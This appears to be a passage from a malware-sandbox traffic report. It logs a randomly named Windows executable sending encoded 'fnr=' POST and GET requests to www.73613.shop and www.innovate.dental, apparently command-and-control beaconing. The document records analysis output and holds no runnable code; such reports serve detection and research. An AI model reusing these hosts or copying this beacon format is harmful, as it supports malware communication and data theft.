                                                                                          Oct 25, 2024 16:53:24.221030951 CEST1236INData Raw: 6d 61 74 69 6f 6e 3a 3c 2f 68 34 3e 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 64 65 74 61 69 6c 73 2d 6c 65 66 74 22 3e 20 0a 20 20 20 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c
                                                                                          Data Ascii: mation:</h4> <div id="details-left"> <table border="0" cellpadding="0" cellspacing="0"> <tr class="alt"><th>Module</th><td>&nbsp;&nbsp;&nbsp;IIS Web Core</td></tr> <tr><th>Notification</th><td>&nbsp;&nbsp;&nbsp;MapRequestHandl
                                                                                          Oct 25, 2024 16:53:24.221043110 CEST390INData Raw: 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 0a 20 3c 66 69 65 6c 64 73 65 74 3e 3c 68 34 3e 4d 6f 72 65 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3a 3c 2f 68 34 3e 20 0a 20 20 54 68 69 73 20 65 72 72 6f 72 20 6d 65
                                                                                          Data Ascii: class="content-container"> <fieldset><h4>More Information:</h4> This error means that the file or directory does not exist on the server. Create the file or directory and try the request again. <p><a href="https://go.microsoft.com/fwli


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          1192.168.2.549330180.178.39.237803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:40.170718908 CEST741OUTPOST /3t8r/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.73613.shop
                                                                                          Origin: http://www.73613.shop
                                                                                          Referer: http://www.73613.shop/3t8r/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 4c 6b 68 6e 45 44 56 43 51 33 36 61 36 6c 69 6d 34 39 37 45 49 69 72 7a 53 61 67 63 78 52 73 78 39 59 6a 6e 58 51 55 6d 46 58 64 35 38 6b 61 38 2b 77 39 69 31 56 76 61 66 41 74 63 30 4e 62 69 5a 48 39 52 57 45 5a 73 6d 70 4d 59 4c 46 43 77 6f 6f 49 34 61 47 43 66 70 42 35 64 4a 79 4f 58 71 66 72 79 78 65 31 33 35 55 45 2f 4c 36 4e 4a 43 7a 68 54 50 78 75 65 6b 2f 45 38 61 67 6c 50 6b 36 49 55 50 45 38 76 47 52 69 6d 79 74 4a 59 37 4e 65 4c 37 6b 74 75 4c 75 77 69 2f 79 42 6b 4f 6a 66 69 32 63 66 75 41 45 70 43 64 79 36 6d 62 6c 79 45 4d 75 62 6f 6a 46 58 46 4a 34 50 30 35 42 53 70 38 31 6f 3d
                                                                                          Data Ascii: fnr=LkhnEDVCQ36a6lim497EIirzSagcxRsx9YjnXQUmFXd58ka8+w9i1VvafAtc0NbiZH9RWEZsmpMYLFCwooI4aGCfpB5dJyOXqfryxe135UE/L6NJCzhTPxuek/E8aglPk6IUPE8vGRimytJY7NeL7ktuLuwi/yBkOjfi2cfuAEpCdy6mblyEMubojFXFJ4P05BSp81o=
                                                                                          Oct 25, 2024 16:53:41.114088058 CEST249INHTTP/1.1 404 Not Found
                                                                                          Server: nginx/1.26.2
                                                                                          Date: Fri, 25 Oct 2024 14:53:43 GMT
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          X-Powered-By: 3.2.1
                                                                                          Access-Control-Allow-Origin: *
                                                                                          Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                          Data Ascii: 0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          2192.168.2.549342180.178.39.237803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:42.722832918 CEST761OUTPOST /3t8r/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.73613.shop
                                                                                          Origin: http://www.73613.shop
                                                                                          Referer: http://www.73613.shop/3t8r/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 4c 6b 68 6e 45 44 56 43 51 33 36 61 37 47 71 6d 30 2b 54 45 5a 43 72 38 58 61 67 63 71 68 73 71 39 59 2f 6e 58 52 51 51 43 6c 4a 35 2f 42 6d 38 76 45 4a 69 30 56 76 61 55 67 74 64 36 74 62 39 5a 48 68 2f 57 42 68 73 6d 71 77 59 4c 42 53 77 72 62 77 6e 62 57 44 35 76 42 35 62 48 53 4f 58 71 66 72 79 78 65 78 4a 35 55 63 2f 49 4c 39 4a 43 52 4a 55 51 42 75 66 79 76 45 38 65 67 6c 4c 6b 36 49 79 50 42 64 41 47 54 61 6d 79 6f 31 59 69 38 65 49 78 6b 74 6f 57 2b 78 48 75 52 51 37 4c 79 62 7a 36 4b 75 53 64 30 52 43 59 45 4c 4d 42 48 36 73 66 4f 33 51 7a 57 66 79 59 49 75 64 6a 69 43 5a 69 69 2f 32 34 41 44 64 35 38 69 65 6e 4a 4c 71 7a 75 68 33 34 66 43 56
                                                                                          Data Ascii: fnr=LkhnEDVCQ36a7Gqm0+TEZCr8Xagcqhsq9Y/nXRQQClJ5/Bm8vEJi0VvaUgtd6tb9ZHh/WBhsmqwYLBSwrbwnbWD5vB5bHSOXqfryxexJ5Uc/IL9JCRJUQBufyvE8eglLk6IyPBdAGTamyo1Yi8eIxktoW+xHuRQ7Lybz6KuSd0RCYELMBH6sfO3QzWfyYIudjiCZii/24ADd58ienJLqzuh34fCV
                                                                                          Oct 25, 2024 16:53:44.032262087 CEST249INHTTP/1.1 404 Not Found
                                                                                          Server: nginx/1.26.2
                                                                                          Date: Fri, 25 Oct 2024 14:53:46 GMT
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          X-Powered-By: 3.2.1
                                                                                          Access-Control-Allow-Origin: *
                                                                                          Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                          Data Ascii: 0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          3192.168.2.549357180.178.39.237803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:45.415168047 CEST1778OUTPOST /3t8r/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.73613.shop
                                                                                          Origin: http://www.73613.shop
                                                                                          Referer: http://www.73613.shop/3t8r/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 4c 6b 68 6e 45 44 56 43 51 33 36 61 37 47 71 6d 30 2b 54 45 5a 43 72 38 58 61 67 63 71 68 73 71 39 59 2f 6e 58 52 51 51 43 6c 52 35 2f 30 71 38 39 56 4a 69 33 56 76 61 49 51 74 51 36 74 62 77 5a 48 70 7a 57 42 64 53 6d 76 38 59 4a 6a 61 77 67 4f 63 6e 43 47 44 35 6a 68 35 65 4a 79 4f 43 71 66 37 32 78 66 42 4a 35 55 63 2f 49 49 31 4a 56 54 68 55 53 42 75 65 6b 2f 45 34 61 67 6b 55 6b 36 51 4d 50 42 52 71 48 6e 6d 6d 7a 4a 46 59 35 75 47 49 39 6b 74 71 46 4f 78 6c 75 52 63 65 4c 79 58 2f 36 4f 6d 73 64 33 42 43 5a 67 75 57 56 56 53 4d 4b 64 72 74 31 6b 48 2f 42 5a 4f 2f 73 45 2b 34 71 6c 65 55 78 41 58 78 38 35 61 42 71 59 54 6a 69 71 64 37 6f 70 66 31 6f 30 58 41 4b 38 6f 58 39 46 6c 6e 43 34 46 37 48 4a 6d 48 44 66 48 74 56 46 4f 69 51 49 67 4c 6f 47 68 48 64 67 30 47 44 48 50 43 64 74 53 4e 79 49 41 70 43 6d 4c 34 57 76 79 41 54 62 71 54 76 5a 42 4a 7a 42 65 41 46 6b 79 57 55 32 68 33 30 53 62 30 4a 59 48 73 7a 69 6d 6e 71 6c 69 53 4a 47 54 51 4b 35 4b 65 50 6a 4a 30 73 69 31 71 57 63 [TRUNCATED]
                                                                                          Data Ascii: fnr=LkhnEDVCQ36a7Gqm0+TEZCr8Xagcqhsq9Y/nXRQQClR5/0q89VJi3VvaIQtQ6tbwZHpzWBdSmv8YJjawgOcnCGD5jh5eJyOCqf72xfBJ5Uc/II1JVThUSBuek/E4agkUk6QMPBRqHnmmzJFY5uGI9ktqFOxluRceLyX/6Omsd3BCZguWVVSMKdrt1kH/BZO/sE+4qleUxAXx85aBqYTjiqd7opf1o0XAK8oX9FlnC4F7HJmHDfHtVFOiQIgLoGhHdg0GDHPCdtSNyIApCmL4WvyATbqTvZBJzBeAFkyWU2h30Sb0JYHszimnqliSJGTQK5KePjJ0si1qWcECO6/mlxel3m3qwqkK5UWU2dMtKx/eqeyyAnj7o2CZcAL31gXqqUjNZP0jAf3RhByuJxJV74QtXmhFW+hL/7fycoqB5Xyz1a3rRWhMrORvHtfeuudfTuGBZt1lMtIPnXALOdX/mgjs62tXDYKHZniwQRg72NDiasG+CLg1LwjffeL++rnaRCqei7jq4C62kvGLQ2VWc0SJUbuUo0mpJNtc9YGvub5VCWpQKu616HEZA3M+0duXZ3eRBs1oMKsDT3E+7TZCrUAwm/bJDGNnlhVnVwvQnQEiY1B14QJx04wnLXbaeZ/HyQ/u+w3wx7kW1O3u8kNwlTutX/NUbIUw6fyVlOTvGUaNiqd41wYNNR2yvlc9sN83tb+8nb2//8xpl1900RE4waIApFYdoTcljaBcMWvkYwRyLnrAVkCGzl9HAYZAZG2dq2xQ9Fr3XcU5+Z8JfA2i4haQyghp1hZmg4LocfPuMaLjeGUqlr14GaW7s4glcq9VxQtRLa+CTBdoW70z78e+skz9bLvJNHZoE3E/tkEOl/cBiGgjB0Y+6CTs47lOrmDgReo2wH+mBG9C2F8NgpWsJTLqo42pOi+GFEYSzo1fv+i5TXVMc6aIVsNhBCqD4Y6QzK6QEuPrSq40bZMZj0Pt4rPZHtUUNtCfo5ZCckoJrtpT5nQ7 [TRUNCATED]
                                                                                          Oct 25, 2024 16:53:46.372549057 CEST249INHTTP/1.1 404 Not Found
                                                                                          Server: nginx/1.26.2
                                                                                          Date: Fri, 25 Oct 2024 14:53:48 GMT
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          X-Powered-By: 3.2.1
                                                                                          Access-Control-Allow-Origin: *
                                                                                          Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                          Data Ascii: 0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          4192.168.2.549374180.178.39.237803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:47.961618900 CEST490OUTGET /3t8r/?fnr=GmJHH11THV754GLh1e+uGyXAfoJstEB/7OnRRGUoNkES+x2V1WUnrUWHQhN+48XxciZvCUdLq/B6CDXyhJw9VEf0qWdUGznzgMuLodZT4GMyHLlyJDFPSTPHjoYfXAoQyg==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.73613.shop
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:53:48.898977995 CEST249INHTTP/1.1 404 Not Found
                                                                                          Server: nginx/1.26.2
                                                                                          Date: Fri, 25 Oct 2024 14:53:51 GMT
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          X-Powered-By: 3.2.1
                                                                                          Access-Control-Allow-Origin: *
                                                                                          Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                          Data Ascii: 0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          5192.168.2.549401104.21.68.22803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:54.238194942 CEST756OUTPOST /jc0n/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.innovate.dental
                                                                                          Origin: http://www.innovate.dental
                                                                                          Referer: http://www.innovate.dental/jc0n/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 5a 77 46 4c 41 4e 49 41 79 4a 33 41 67 4f 44 70 5a 74 4f 71 41 41 59 63 35 55 74 33 39 4d 77 4b 38 5a 2f 45 35 77 59 39 31 44 67 7a 72 4c 50 73 36 35 7a 58 65 36 5a 36 42 61 50 37 69 56 56 4b 75 56 78 6f 33 39 57 7a 33 4f 35 6e 53 69 7a 4f 5a 72 52 38 6b 49 75 48 61 68 70 6b 42 55 6d 59 31 30 33 6e 73 47 58 43 4d 63 2b 61 39 62 38 78 32 78 67 31 51 35 38 7a 4b 75 69 62 50 55 32 47 79 61 54 4b 68 36 4e 58 47 39 6c 63 57 6a 6f 35 36 70 4c 2b 4c 6e 56 59 4a 54 54 56 49 68 47 42 48 71 47 74 67 4b 79 57 64 70 6d 4d 51 75 65 65 74 78 37 63 50 38 74 42 65 2f 39 64 44 55 6f 73 62 4e 79 52 6f 5a 67 3d
                                                                                          Data Ascii: fnr=ZwFLANIAyJ3AgODpZtOqAAYc5Ut39MwK8Z/E5wY91DgzrLPs65zXe6Z6BaP7iVVKuVxo39Wz3O5nSizOZrR8kIuHahpkBUmY103nsGXCMc+a9b8x2xg1Q58zKuibPU2GyaTKh6NXG9lcWjo56pL+LnVYJTTVIhGBHqGtgKyWdpmMQueetx7cP8tBe/9dDUosbNyRoZg=
                                                                                          Oct 25, 2024 16:53:54.915963888 CEST1236INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:53:54 GMT
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          Vary: Accept-Encoding
                                                                                          Last-Modified: Mon, 26 Aug 2024 12:21:04 GMT
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S8gFkGxfNxSjgF%2B7Q2EVxECxnMpBkXxhDkfpv55v%2FSRnrI5SLQJNq2ZVp1vrLdJC2xa99%2FGKIxRDQ3ENkriM%2BuODVh7ni2dRqnjpSTgrX1nnf5YDafRK0qcX8xBMDvKpMddr6ac5"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d8309f138db6b15-DFW
                                                                                          Content-Encoding: gzip
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1141&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=756&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 35 35 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 94 56 db 8e db 36 10 7d f6 7e c5 44 45 91 16 30 69 de 25 39 b6 d1 64 9b a0 79 d8 24 e8 b6 28 fa 14 d0 12 65 a9 2b 8b ae 44 db eb 2d f2 ef 05 75 f1 fa 92 a0 28 64 49 c3 33 3c 23 72 78 86 f4 ec c5 cf 1f 6f 7f fb f3 d3 5b c8 dd ba 5c dc cc fc 0b 4a 5d ad e6 81 a9 82 c5 cd 68 96 1b 9d 2e 6e 46 a3 d9 da 38 0d 49 ae eb c6 b8 79 b0 75 19 8a 02 98 3c bb 2a bd 36 f3 60 57 98 fd c6 d6 2e 80 c4 56 ce 54 6e 1e ec 8b d4 e5 f3 d4 ec 8a c4 a0 b6 31 86 a2 2a 5c a1 4b d4 24 ba 34 73 3a 04 72 85 2b cd e2 93 5e 19 f8 60 1d bc b3 db 2a 9d 4d 3a d4 fb 1b 77 e8 ac d1 d2 a6 07 f8 c7 5b a3 a5 4e 1e 56 b5 ef 8a 12 5b da 7a 0a df 65 d2 5f af 5a f7 5a d7 ab a2 42 ce 6e a6 10 7d df 61 43 3f 99 fa ab c3 32 5b 39 94 e9 75 51 1e a6 80 f4 66 53 1a d4 1c 1a 67 d6 63 78 53 16 d5 c3 9d 4e ee db f6 3b 5b b9 31 04 f7 66 65 0d fc fe 3e 18 c3 af 76 69 9d 1d 43 f0 8b 29 77 c6 15 89 86 0f 66 6b 82 31 bc ae 0b 5d 8e db 0f 8c 82 0f d6 59 b8 d7 55 13 8c a1 d1 55 83 1a 53 17 d9 18 82 d7 fe 6b 70 eb [TRUNCATED]
                                                                                          Data Ascii: 55cV6}~DE0i%9dy$(e+D-u(dI3<#rxo[\J]h.nF8Iyu<*6`W.VTn1*\K$4s:r+^`*M:w[NV[ze_ZZBn}aC?2[9uQfSgcxSN;[1fe>viC)wfk1]YUUSkpGo"8^28{fCMS<z?0
                                                                                          Oct 25, 2024 16:53:54.915985107 CEST1003INData Raw: 29 c7 f0 fc 20 38 94 3f 9e f0 74 59 ac aa 29 24 a6 72 a6 6e f1 2f 37 fe 99 d3 3e ed 6d be 9a e2 c9 4c 81 61 21 cd fa 24 8d 7b 53 ac 72 37 85 90 90 6f 27 bc 34 ce 99 1a 35 1b 9d 14 d5 6a 0a 88 60 c2 86 30 fd aa 2d ad 73 76 3d 05 4e 36 8f d7 cb 79
                                                                                          Data Ascii: ) 8?tY)$rn/7>mLa!${Sr7o'45j`0-sv=N6yDa/9]Tmu7:u/MvQuU3?FGP[cyuDk),8y_]5y+yH~<zk[_QOuUTj%g6$1Ms9\'0V


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          6192.168.2.549415104.21.68.22803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:56.784055948 CEST776OUTPOST /jc0n/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.innovate.dental
                                                                                          Origin: http://www.innovate.dental
                                                                                          Referer: http://www.innovate.dental/jc0n/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 5a 77 46 4c 41 4e 49 41 79 4a 33 41 68 75 7a 70 4b 38 4f 71 58 51 59 66 32 30 74 33 6f 63 77 47 38 5a 7a 45 35 30 49 74 31 52 30 7a 79 71 2f 73 35 37 4c 58 4f 71 5a 36 4b 36 50 2b 76 31 56 4e 75 56 39 4b 33 35 65 7a 33 50 64 6e 53 6e 50 4f 59 63 4e 2f 6b 59 75 46 4f 52 70 6d 4d 30 6d 59 31 30 33 6e 73 47 7a 6b 4d 66 4f 61 39 72 73 78 32 53 34 71 4f 4a 39 42 4a 75 69 62 4c 55 33 50 79 61 54 53 68 2f 74 39 47 37 68 63 57 6d 45 35 37 39 58 39 43 6e 56 42 57 44 54 44 5a 78 69 4f 4b 6f 65 6d 6f 71 44 53 4d 62 65 6b 52 59 76 30 33 54 7a 30 63 63 42 35 4f 73 31 71 53 6b 4a 46 42 75 69 68 32 4f 30 75 42 4c 31 4d 65 41 6f 42 4a 73 41 70 42 6a 2b 4c 48 70 4c 77
                                                                                          Data Ascii: fnr=ZwFLANIAyJ3AhuzpK8OqXQYf20t3ocwG8ZzE50It1R0zyq/s57LXOqZ6K6P+v1VNuV9K35ez3PdnSnPOYcN/kYuFORpmM0mY103nsGzkMfOa9rsx2S4qOJ9BJuibLU3PyaTSh/t9G7hcWmE579X9CnVBWDTDZxiOKoemoqDSMbekRYv03Tz0ccB5Os1qSkJFBuih2O0uBL1MeAoBJsApBj+LHpLw
                                                                                          Oct 25, 2024 16:53:57.519618988 CEST1236INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:53:57 GMT
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          Vary: Accept-Encoding
                                                                                          Last-Modified: Mon, 26 Aug 2024 12:21:04 GMT
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dTNKavb3E5RzWN29cOvOJKEKMLa3KBCiXeMtu6BdimvvjopgwyLn3fi9D%2BCLwyd8%2FjhzYCoWJNdO%2F4kiTDUFvYLfwxFkEniIQ0Qy8o5iCFOb2J0%2FI9W7h93nbgbiyfYfnqbEbTZu"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830a0138316bc5-DFW
                                                                                          Content-Encoding: gzip
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1084&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=776&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 35 35 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 94 56 db 8e db 36 10 7d f6 7e c5 44 45 91 16 30 69 de 25 39 b6 d1 64 9b a0 79 d8 24 e8 b6 28 fa 14 d0 12 65 a9 2b 8b ae 44 db eb 2d f2 ef 05 75 f1 fa 92 a0 28 64 49 c3 33 3c 23 72 78 86 f4 ec c5 cf 1f 6f 7f fb f3 d3 5b c8 dd ba 5c dc cc fc 0b 4a 5d ad e6 81 a9 82 c5 cd 68 96 1b 9d 2e 6e 46 a3 d9 da 38 0d 49 ae eb c6 b8 79 b0 75 19 8a 02 98 3c bb 2a bd 36 f3 60 57 98 fd c6 d6 2e 80 c4 56 ce 54 6e 1e ec 8b d4 e5 f3 d4 ec 8a c4 a0 b6 31 86 a2 2a 5c a1 4b d4 24 ba 34 73 3a 04 72 85 2b cd e2 93 5e 19 f8 60 1d bc b3 db 2a 9d 4d 3a d4 fb 1b 77 e8 ac d1 d2 a6 07 f8 c7 5b a3 a5 4e 1e 56 b5 ef 8a 12 5b da 7a 0a df 65 d2 5f af 5a f7 5a d7 ab a2 42 ce 6e a6 10 7d df 61 43 3f 99 fa ab c3 32 5b 39 94 e9 75 51 1e a6 80 f4 66 53 1a d4 1c 1a 67 d6 63 78 53 16 d5 c3 9d 4e ee db f6 3b 5b b9 31 04 f7 66 65 0d fc fe 3e 18 c3 af 76 69 9d 1d 43 f0 8b 29 77 c6 15 89 86 0f 66 6b 82 31 bc ae 0b 5d 8e db 0f 8c 82 0f d6 59 b8 d7 55 13 8c a1 d1 55 83 1a 53 17 d9 18 82 d7 fe 6b 70 eb [TRUNCATED]
                                                                                          Data Ascii: 551V6}~DE0i%9dy$(e+D-u(dI3<#rxo[\J]h.nF8Iyu<*6`W.VTn1*\K$4s:r+^`*M:w[NV[ze_ZZBn}aC?2[9uQfSgcxSN;[1fe>viC)wfk1]YUUSkpGo"8^28{fCMS<z?0
                                                                                          Oct 25, 2024 16:53:57.519645929 CEST1008INData Raw: 29 c7 f0 fc 20 38 94 3f 9e f0 74 59 ac aa 29 24 a6 72 a6 6e f1 2f 37 fe 99 d3 3e ed 6d be 9a e2 c9 4c 81 61 21 cd fa 24 8d 7b 53 ac 72 37 85 90 90 6f 27 bc 34 ce 99 1a 35 1b 9d 14 d5 6a 0a 88 60 c2 86 30 fd aa 2d ad 73 76 3d 05 4e 36 8f d7 cb 79
                                                                                          Data Ascii: ) 8?tY)$rn/7>mLa!${Sr7o'45j`0-sv=N6yDa/9]Tmu7:u/MvQuU3?FGP[cyuDk),8y_]5y+yH~<zk[_QOuUTj%g6$1Ms9\'0V


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          7192.168.2.549424104.21.68.22803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:59.339343071 CEST1793OUTPOST /jc0n/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.innovate.dental
                                                                                          Origin: http://www.innovate.dental
                                                                                          Referer: http://www.innovate.dental/jc0n/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
